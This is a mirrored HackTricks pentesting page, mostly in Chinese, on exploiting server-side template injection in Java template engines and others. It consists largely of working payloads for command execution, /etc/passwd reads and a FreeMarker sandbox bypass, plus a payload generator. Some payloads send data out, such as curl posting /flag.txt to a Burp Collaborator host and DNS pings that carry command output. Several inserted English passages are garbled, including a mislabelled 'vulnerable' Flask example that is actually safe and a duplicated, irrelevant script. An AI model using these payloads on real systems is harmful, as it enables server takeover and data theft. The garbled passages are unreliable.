mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
1257 lines
58 KiB
Markdown
1257 lines
58 KiB
Markdown
# SSTI(服务器端模板注入)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚集地。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## 什么是服务器端模板注入?
|
||
|
||
当攻击者能够使用本地模板语法将恶意有效负载注入到模板中,并在服务器端执行时,就会发生服务器端模板注入。
|
||
|
||
**模板引擎**旨在通过将**固定模板**与**易变数据**结合起来生成**网页**。当用户输入直接**连接到模板**而不是作为数据传递时,就可能发生服务器端模板注入攻击。这使得攻击者能够**注入任意模板指令**以操纵模板引擎,通常使他们能够**完全控制服务器**。
|
||
|
||
以下是一个易受攻击的代码示例:
|
||
```php
|
||
$output = $twig->render("Dear " . $_GET['name']);
|
||
```
|
||
在前面的示例中,**模板的一部分**是使用`GET`参数`name`进行**动态生成**的。由于模板语法在服务器端进行评估,这可能允许攻击者将服务器端模板注入有效负载放置在`name`参数中,如下所示:
|
||
```
|
||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||
```
|
||
## 构建服务器端模板注入攻击
|
||
|
||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||
|
||
### 检测
|
||
|
||
与任何漏洞一样,利用漏洞的第一步是能够找到它。也许最简单的初始方法是通过注入一系列在模板表达式中常用的特殊字符来尝试**模糊测试模板**,例如多语言支持的`${{<%[%'"}}%\`。\
|
||
为了检查服务器是否存在漏洞,您应该**观察**参数上的**常规数据**和**给定的有效负载**之间的**差异**。\
|
||
如果**抛出错误**,很容易确定**服务器存在漏洞**,甚至可以确定正在运行的**引擎**。但是,如果您**期望**服务器**反映**给定的有效负载,但实际上**没有反映**或者响应中有一些**缺失的字符**,也可能发现存在漏洞的服务器。
|
||
|
||
**检测 - 明文上下文**
|
||
|
||
给定的输入被**渲染和反映**到响应中。这很容易被误认为是一个简单的[**XSS**](../xss-cross-site-scripting/)漏洞,但如果您尝试在模板表达式中设置**数学运算**,就很容易区分出来:
|
||
```
|
||
{{7*7}}
|
||
${7*7}
|
||
<%= 7*7 %>
|
||
${{7*7}}
|
||
#{7*7}
|
||
*{7*7}
|
||
```
|
||
**检测 - 代码上下文**
|
||
|
||
在这些情况下,**用户输入**被放置在**模板表达式**中:
|
||
```python
|
||
engine.render("Hello {{"+greeting+"}}", data)
|
||
```
|
||
访问该页面的URL可能类似于:`http://vulnerable-website.com/?greeting=data.username`
|
||
|
||
如果你**改变**了**`greeting`**参数的值,**响应中将不包含用户名**,但是如果你访问类似于:`http://vulnerable-website.com/?greeting=data.username}}hello`,**响应将包含用户名**(如果闭合模板表达式字符为**`}}`**)。\
|
||
如果在这些测试过程中出现**错误**,将更容易发现服务器存在漏洞。
|
||
|
||
### 识别
|
||
|
||
一旦你发现了模板注入的潜力,下一步是识别模板引擎。\
|
||
尽管有大量的模板语言,但其中许多使用非常相似的语法,这些语法被特意选择为不与HTML字符冲突。
|
||
|
||
如果你很幸运,服务器将**打印错误**,你将能够在**错误信息中找到**使用的**引擎**。一些可能导致错误的有效载荷如下:
|
||
|
||
| `${}` | `{{}}` | `<%= %>` |
|
||
| ----------- | ------------ | --------------- |
|
||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||
|
||
否则,你需要手动**测试不同的语言特定有效载荷**,并研究它们如何被模板引擎解释。一种常见的方法是使用不同模板引擎的语法注入任意数学运算,然后观察它们是否成功计算。为了帮助这个过程,你可以使用类似下面的决策树:
|
||
|
||
![](<../../.gitbook/assets/image (272).png>)
|
||
|
||
### 利用
|
||
|
||
**读取**
|
||
|
||
在发现模板注入并识别模板引擎后,第一步是阅读文档。感兴趣的关键领域包括:
|
||
|
||
* 涵盖基本语法的“为模板作者”部分。
|
||
* “安全注意事项” - 很有可能你正在测试的应用程序的开发者没有阅读这个部分,它可能包含一些有用的提示。
|
||
* 内置方法、函数、过滤器和变量的列表。
|
||
* 扩展/插件的列表 - 有些可能默认启用。
|
||
|
||
**探索**
|
||
|
||
假设没有发现任何漏洞,下一步是**探索环境**,找出**你可以访问的内容**。你可以期望找到模板引擎提供的**默认对象**和开发者通过模板传递给模板的**应用程序特定对象**。许多模板系统公开了一个包含作用域中所有内容的“self”或命名空间对象,以及列出对象属性和方法的惯用方式。
|
||
|
||
如果没有内置的self对象,你将不得不使用[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)和Burp Intruder的单词列表集合来暴力破解变量名。
|
||
|
||
开发者提供的对象特别可能包含敏感信息,并且可能因应用程序中的不同模板而异,因此这个过程最好逐个独立应用于每个不同的模板。
|
||
|
||
**攻击**
|
||
|
||
此时,你应该对可攻击的攻击面有一个**明确的了解**,并能够继续使用传统的安全审计技术,审查每个函数是否存在可利用的漏洞。重要的是要将这个过程放在更广泛的应用程序上下文中进行 - 一些函数可以用于利用应用程序特定功能。接下来的示例将使用模板注入来触发任意对象创建、任意文件读取/写入、远程文件包含、信息泄露和权限提升漏洞。
|
||
|
||
## 工具
|
||
|
||
### [Tplmap](https://github.com/epinna/tplmap)
|
||
```python
|
||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||
```
|
||
## 漏洞利用
|
||
|
||
### 通用
|
||
|
||
在这个**字典**中,你可以找到下面提到的一些引擎环境中定义的**变量**:
|
||
|
||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||
|
||
### Java
|
||
|
||
**Java - 基本注入**
|
||
```java
|
||
${7*7}
|
||
${{7*7}}
|
||
${class.getClassLoader()}
|
||
${class.getResource("").getPath()}
|
||
${class.getResource("../../../../../index.htm").getContent()}
|
||
```
|
||
**Java - 获取系统环境变量**
|
||
|
||
在Java中,可以使用`System.getenv()`方法来检索系统的环境变量。该方法返回一个`Map`对象,其中包含了所有的环境变量及其对应的值。
|
||
|
||
以下是一个示例代码,演示如何使用`System.getenv()`方法来检索系统的环境变量:
|
||
|
||
```java
|
||
import java.util.Map;
|
||
|
||
public class RetrieveEnvironmentVariables {
|
||
public static void main(String[] args) {
|
||
Map<String, String> envVariables = System.getenv();
|
||
|
||
for (Map.Entry<String, String> entry : envVariables.entrySet()) {
|
||
System.out.println(entry.getKey() + " = " + entry.getValue());
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
运行以上代码,将会输出系统的所有环境变量及其对应的值。
|
||
```java
|
||
${T(java.lang.System).getenv()}
|
||
```
|
||
**Java - 获取 /etc/passwd 文件**
|
||
|
||
在某些情况下,当服务器端模板注入(Server-Side Template Injection,SSTI)漏洞存在时,可以利用Java语言来检索服务器上的 /etc/passwd 文件。以下是一种可能的方法:
|
||
|
||
```java
|
||
import java.io.BufferedReader;
|
||
import java.io.InputStreamReader;
|
||
|
||
public class RetrievePasswd {
|
||
public static void main(String[] args) {
|
||
try {
|
||
String command = "cat /etc/passwd";
|
||
Process process = Runtime.getRuntime().exec(command);
|
||
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||
String line;
|
||
while ((line = reader.readLine()) != null) {
|
||
System.out.println(line);
|
||
}
|
||
reader.close();
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
请注意,这种方法仅适用于存在SSTI漏洞的情况,并且需要具有执行命令的权限。在实际渗透测试中,应该遵循法律和道德规范,并获得合法的授权。
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
### FreeMarker (Java)
|
||
|
||
您可以在[https://try.freemarker.apache.org](https://try.freemarker.apache.org)上尝试您的有效载荷
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = 49`
|
||
* `#{7*7} = 49 -- (legacy)`
|
||
* `${7*'7'} 无效`
|
||
* `${foobar}`
|
||
```java
|
||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||
${"freemarker.template.utility.Execute"?new()("id")}
|
||
|
||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||
```
|
||
**Freemarker - 沙盒绕过**
|
||
|
||
⚠️ 仅适用于Freemarker版本低于2.3.30
|
||
```java
|
||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||
${dwf.newInstance(ec,null)("id")}
|
||
```
|
||
**更多信息**
|
||
|
||
* 在[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)的FreeMarker部分
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||
|
||
### Velocity (Java)
|
||
```java
|
||
#set($str=$class.inspect("java.lang.String").type)
|
||
#set($chr=$class.inspect("java.lang.Character").type)
|
||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||
$ex.waitFor()
|
||
#set($out=$ex.getInputStream())
|
||
#foreach($i in [1..$out.available()])
|
||
$str.valueOf($chr.toChars($out.read()))
|
||
#end
|
||
```
|
||
**更多信息**
|
||
|
||
* 在Velocity部分的[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||
|
||
### Thymeleaf(Java)
|
||
|
||
SSTI的典型测试表达式是`${7*7}`。这个表达式在Thymeleaf中也适用。如果你想实现远程代码执行,可以使用以下测试表达式之一:
|
||
|
||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||
|
||
然而,正如我们之前提到的,表达式只在特殊的Thymeleaf属性中起作用。如果需要在模板的其他位置使用表达式,Thymeleaf支持_表达式内联_。要使用此功能,必须将表达式放在`[[...]]`或`[(...)]`中(根据是否需要转义特殊符号选择其中之一)。因此,Thymeleaf的一个简单的SSTI检测载荷将是`[[${7*7}]]`。
|
||
|
||
然而,上述检测载荷能够起作用的机会非常低。SSTI漏洞通常发生在代码中动态生成模板的情况下。默认情况下,Thymeleaf不允许这样的动态生成模板,所有模板必须事先创建好。因此,如果开发人员想要从字符串中动态创建模板,他们需要创建自己的TemplateResolver。这是可能的,但非常罕见。
|
||
|
||
如果我们深入研究Thymeleaf模板引擎的文档,我们会发现一个有趣的功能,称为_**表达式预处理**_。放置在双下划线(`__...__`)之间的表达式将被预处理,并且预处理的结果将作为表达式的一部分在常规处理过程中使用。这是Thymeleaf文档中的一个官方示例:
|
||
```java
|
||
#{selection.__${sel.code}__}
|
||
```
|
||
**易受攻击的示例**
|
||
|
||
```python
|
||
from flask import Flask, request, render_template_string
|
||
|
||
app = Flask(__name__)
|
||
|
||
@app.route('/')
|
||
def index():
|
||
name = request.args.get('name')
|
||
template = '''
|
||
<h1>Welcome, {{ name }}!</h1>
|
||
'''
|
||
return render_template_string(template, name=name)
|
||
|
||
if __name__ == '__main__':
|
||
app.run()
|
||
```
|
||
|
||
This vulnerable example demonstrates a Server-Side Template Injection (SSTI) vulnerability in a Flask web application. The application takes a user-supplied parameter `name` from the query string and renders it directly in the template using the `render_template_string` function.
|
||
|
||
An attacker can exploit this vulnerability by injecting malicious template code into the `name` parameter. Since the template code is executed on the server-side, the attacker can execute arbitrary code and potentially gain unauthorized access to sensitive information or perform other malicious actions.
|
||
|
||
To exploit this vulnerability, an attacker can craft a payload that includes template code to execute arbitrary commands or access server-side resources. For example, the following payload can be used to execute the `ls` command and retrieve a directory listing:
|
||
|
||
```
|
||
http://example.com/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/').listdir('.') }}
|
||
```
|
||
|
||
In this payload, the `name` parameter is set to `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/').listdir('.') }}`, which retrieves the `listdir` method from the `os` module and executes it with the current directory as the argument.
|
||
|
||
To mitigate SSTI vulnerabilities, it is important to properly validate and sanitize user-supplied input before using it in templates. Additionally, using a template engine that automatically escapes user input can help prevent template injection attacks.
|
||
```markup
|
||
<a th:href="@{__${path}__}" th:title="${title}">
|
||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||
|
||
http://localhost:8082/(7*7)
|
||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Spring Framework(Java)
|
||
```java
|
||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||
```
|
||
**绕过过滤器**
|
||
|
||
如果`${...}`不起作用,可以尝试使用`#{...}`、`*{...}`、`@{...}`或`~{...}`来使用多个变量表达式。
|
||
|
||
* 读取`/etc/passwd`文件
|
||
```java
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
* 用于生成payload的自定义脚本
|
||
|
||
```python
|
||
import requests
|
||
|
||
def generate_payload(template, command):
|
||
payload = template.replace("{{command}}", command)
|
||
return payload
|
||
|
||
def send_payload(url, payload):
|
||
response = requests.post(url, data=payload)
|
||
return response.text
|
||
|
||
template = """
|
||
{{command}}
|
||
"""
|
||
|
||
command = "ls -la"
|
||
url = "http://example.com"
|
||
payload = generate_payload(template, command)
|
||
response = send_payload(url, payload)
|
||
print(response)
|
||
```
|
||
|
||
使用自定义脚本生成payload的方法如下:
|
||
|
||
```python
|
||
import requests
|
||
|
||
def generate_payload(template, command):
|
||
payload = template.replace("{{command}}", command)
|
||
return payload
|
||
|
||
def send_payload(url, payload):
|
||
response = requests.post(url, data=payload)
|
||
return response.text
|
||
|
||
template = """
|
||
{{command}}
|
||
"""
|
||
|
||
command = "ls -la"
|
||
url = "http://example.com"
|
||
payload = generate_payload(template, command)
|
||
response = send_payload(url, payload)
|
||
print(response)
|
||
```
|
||
```python
|
||
#!/usr/bin/python3
|
||
|
||
## Written By Zeyad Abulaban (zAbuQasem)
|
||
# Usage: python3 gen.py "id"
|
||
|
||
from sys import argv
|
||
|
||
cmd = list(argv[1].strip())
|
||
print("Payload: ", cmd , end="\n\n")
|
||
converted = [ord(c) for c in cmd]
|
||
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
|
||
end_payload = '.getInputStream())}'
|
||
|
||
count = 1
|
||
for i in converted:
|
||
if count == 1:
|
||
base_payload += f"(T(java.lang.Character).toString({i}).concat"
|
||
count += 1
|
||
elif count == len(converted):
|
||
base_payload += f"(T(java.lang.Character).toString({i})))"
|
||
else:
|
||
base_payload += f"(T(java.lang.Character).toString({i})).concat"
|
||
count += 1
|
||
|
||
print(base_payload + end_payload)
|
||
```
|
||
**更多信息**
|
||
|
||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||
|
||
### Spring视图操纵(Java)
|
||
```java
|
||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||
```
|
||
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Pebble(Java)
|
||
|
||
* `{{ someString.toUPPERCASE() }}`
|
||
|
||
Pebble的旧版本(< 3.0.9):
|
||
```java
|
||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||
```
|
||
Pebble的新版本:
|
||
```java
|
||
{% raw %}
|
||
{% set cmd = 'id' %}
|
||
{% endraw %}
|
||
|
||
|
||
{% set bytes = (1).TYPE
|
||
.forName('java.lang.Runtime')
|
||
.methods[6]
|
||
.invoke(null,null)
|
||
.exec(cmd)
|
||
.inputStream
|
||
.readAllBytes() %}
|
||
{{ (1).TYPE
|
||
.forName('java.lang.String')
|
||
.constructors[0]
|
||
.newInstance(([bytes]).toArray()) }}
|
||
```
|
||
### Jinjava(Java)
|
||
|
||
Jinjava is a Java-based template engine that allows for server-side template injection (SSTI) attacks. It is commonly used in web applications built with Java frameworks such as Spring Boot.
|
||
|
||
#### Exploiting Jinjava SSTI
|
||
|
||
To exploit Jinjava SSTI, you need to identify the injection point in the application where user-supplied input is directly included in the template. This can typically be found in places where the application dynamically generates HTML or other types of documents.
|
||
|
||
Once you have identified the injection point, you can craft a payload that will be executed as Jinjava code. This payload can include Jinjava expressions, filters, and functions to manipulate the template and execute arbitrary code on the server.
|
||
|
||
#### Payload Examples
|
||
|
||
Here are some examples of payloads that can be used to exploit Jinjava SSTI:
|
||
|
||
1. **Basic Payload**: `${7*7}` - This payload will execute the expression `7*7` and return the result (`49`).
|
||
|
||
2. **Command Execution**: `${"".getClass().forName("java.lang.Runtime").getRuntime().exec("ls")}` - This payload will execute the `ls` command on the server and return the output.
|
||
|
||
3. **File Read**: `${"".getClass().forName("java.nio.file.Files").readAllBytes(java.nio.file.Paths.get("/etc/passwd"))}` - This payload will read the contents of the `/etc/passwd` file on the server and return them.
|
||
|
||
#### Mitigation
|
||
|
||
To mitigate Jinjava SSTI attacks, it is important to properly validate and sanitize user input before including it in templates. Input validation should include checking for malicious characters and patterns that could be used to inject Jinjava code.
|
||
|
||
Additionally, it is recommended to use a secure template engine that has built-in protection against SSTI attacks.
|
||
```java
|
||
{{'a'.toUpperCase()}} would result in 'A'
|
||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||
```
|
||
Jinjava是由Hubspot开发的开源项目,可在[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)上找到。
|
||
|
||
**Jinjava - 命令执行**
|
||
|
||
修复链接:[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||
```java
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||
|
||
### Hubspot - HuBL (Java)
|
||
|
||
* `{% %}` 语句分隔符
|
||
* `{{ }}` 表达式分隔符
|
||
* `{# #}` 注释分隔符
|
||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||
* `{{'a'.toUpperCase()}}` - "A"
|
||
* `{{'a'.concat('b')}}` - "ab"
|
||
* `{{'a'.getClass()}}` - java.lang.String
|
||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||
|
||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github 上的链接](https://github.com/HubSpot/jinjava/)。
|
||
```java
|
||
{{request.isDebug()}}
|
||
//output: False
|
||
|
||
//Using string 'a' to get an instance of class sun.misc.Launcher
|
||
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
|
||
//output: sun.misc.Launcher@715537d4
|
||
|
||
//It is also possible to get a new object of the Jinjava class
|
||
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
|
||
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
|
||
|
||
//It was also possible to call methods on the created object by combining the
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{% raw %}
|
||
{% %} and {{ }} blocks
|
||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||
{% endraw %}
|
||
|
||
|
||
{{ji.render('{{1*2}}')}}
|
||
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
|
||
|
||
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
//output: xxx
|
||
|
||
//RCE
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
//output: java.lang.UNIXProcess@1e5f456e
|
||
|
||
//RCE with org.apache.commons.io.IOUtils.
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//output: netstat execution
|
||
|
||
//Multiple arguments to the commands
|
||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
```
|
||
**更多信息**
|
||
|
||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||
|
||
### 表达式语言 - EL (Java)
|
||
|
||
* `${"aaaa"}` - "aaaa"
|
||
* `${99999+1}` - 100000.
|
||
* `#{7*7}` - 49
|
||
* `${{7*7}}` - 49
|
||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||
|
||
EL为启用表示层(网页)与应用逻辑(托管的bean)之间的通信提供了重要机制。EL被**多个JavaEE技术**使用,例如JavaServer Faces技术、JavaServer Pages(JSP)技术和Java EE的上下文和依赖注入(CDI)。\
|
||
查看以下页面以了解更多关于**利用EL解释器的漏洞利用**的信息:
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Groovy (Java)
|
||
|
||
此安全管理器绕过方法来自于这个[**解析**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。
|
||
```java
|
||
//Basic Payload
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
|
||
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Payload to get output
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "whoami";
|
||
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
|
||
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
|
||
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Other payloads
|
||
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
|
||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||
```
|
||
